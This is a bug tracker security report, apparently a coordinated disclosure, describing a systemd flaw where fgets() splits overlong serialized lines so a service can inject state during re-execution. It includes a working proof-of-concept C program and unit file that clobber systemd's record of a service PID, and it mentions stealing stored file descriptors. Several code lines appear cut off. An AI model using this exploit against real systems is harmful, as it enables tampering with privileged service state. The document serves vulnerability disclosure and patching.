systemd: reexec state injection: fgets() on overlong lines leads to line splitting
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
systemd (Ubuntu) |
Fix Released
|
Medium
|
Unassigned |
Bug Description
systemd: reexec state injection: fgets() on overlong lines leads to line splitting
[I am sending this bug report to Ubuntu, even though it's an upstream
bug, as requested at
https:/
.]
When systemd re-executes (e.g. during a package upgrade), state is
serialized into a memfd before the execve(), then reloaded after the
execve(). Serialized data is stored as text, with key-value pairs
separated by newlines. Values are escaped to prevent control character
injection.
Lines associated with a systemd unit are read in unit_deserialize()
using fgets():
if (!fgets(line, sizeof(line), f)) {
}
LINE_MAX is 2048:
/usr/include/
/usr/include/
When fgets() encounters overlong input, it behaves dangerously. If a
line is more than 2047 characters long, fgets() will return the first
2047 characters and leave the read cursor in the middle of the
overlong line. Then, when fgets() is called the next time, it
continues to read data from offset 2047 in the line as if a new line
started there. Therefore, if an attacker can inject an overlong value
into the serialized state somehow, it is possible to inject extra
key-value pairs into the serialized state.
A service that has `NotifyAccess != none` can send a status message to
systemd that will be stored as a property of the service. When systemd
re-executes, this status message is stored under the key
"status-text".
Status messages that are sent to systemd are received by
manager_
size NOTIFY_
Therefore, a service with `NotifyAccess != none` can trigger this bug.
Reproducer:
Create a simple service with NotifyAccess by copying the following
text into /etc/systemd/
home directory is /home/user):
=========
[Unit]
Description=jannh test service for systemd notifications
[Service]
Type=simple
NotifyAccess=all
FileDescriptorS
User=user
ExecStart=
Restart=always
[Install]
WantedBy=
=========
Create a small binary that sends an overlong status when it starts up:
=========
user@ubuntu-
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <err.h>
#include <signal.h>
#include <stdio.h>
int main(void) {
int sock = socket(AF_UNIX, SOCK_DGRAM, 0);
if (sock == -1) err(1, "socket");
struct sockaddr_un addr = {
.sun_family = AF_UNIX,
.sun_path = "/run/systemd/
};
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))) err(1, "connect");
char message[0x2000] = "STATUS=";
memset(message+7, 'X', 2048-1-12);
strcat(message, "main-pid=
struct iovec iov = {
.iov_base = message,
.iov_len = strlen(message)
};
union {
struct cmsghdr cmsghdr;
char buf[CMSG_
} control = { .cmsghdr = {
.cmsg_level = SOL_SOCKET,
.cmsg_type = SCM_CREDENTIALS,
.cmsg_len = CMSG_LEN(
}};
struct ucred *ucred = (void*)(control.buf + CMSG_ALIGN(
ucred->pid = getpid();
ucred->uid = getuid();
ucred->gid = getgid();
struct msghdr msghdr = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = &control,
.msg_controllen = sizeof(control)
};
if (sendmsg(sock, &msghdr, 0) != strlen(message)) err(1, "sendmsg");
while (1) pause();
}
user@ubuntu-
user@ubuntu-
=========
Install the service, and start it. Then run strace against systemd,
and run:
=========
root@ubuntu-
root@ubuntu-
=========
The "stop" command hangs, and you'll see the following in strace:
=========
root@ubuntu-
openat(AT_FDCWD, "/proc/
kill(13371337, SIG_0) = -1 ESRCH (No such process)
kill(13371337, SIGTERM) = -1 ESRCH (No such process)
=========
This demonstrates that systemd's representation of the service's PID
was clobbered by the status message.
This can in theory, depending on how the active services are
configured and some other things, also be used to e.g. steal file
descriptors that other services have stored in systemd (visible in
the serialized representation as "fd-store-fd").
This isn't the only place in systemd that uses fgets(); other uses of
fgets() should probably also be audited and potentially replaced with
a safer function.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
CVE References
Changed in systemd (Ubuntu): | |
status: | New → Confirmed |
information type: | Private Security → Public Security |
Changed in systemd (Ubuntu): | |
importance: | Undecided → Medium |
Hello Jann, thanks for contacting us. Excellent discovery.
Have you allocated a CVE number for this yet?
Thanks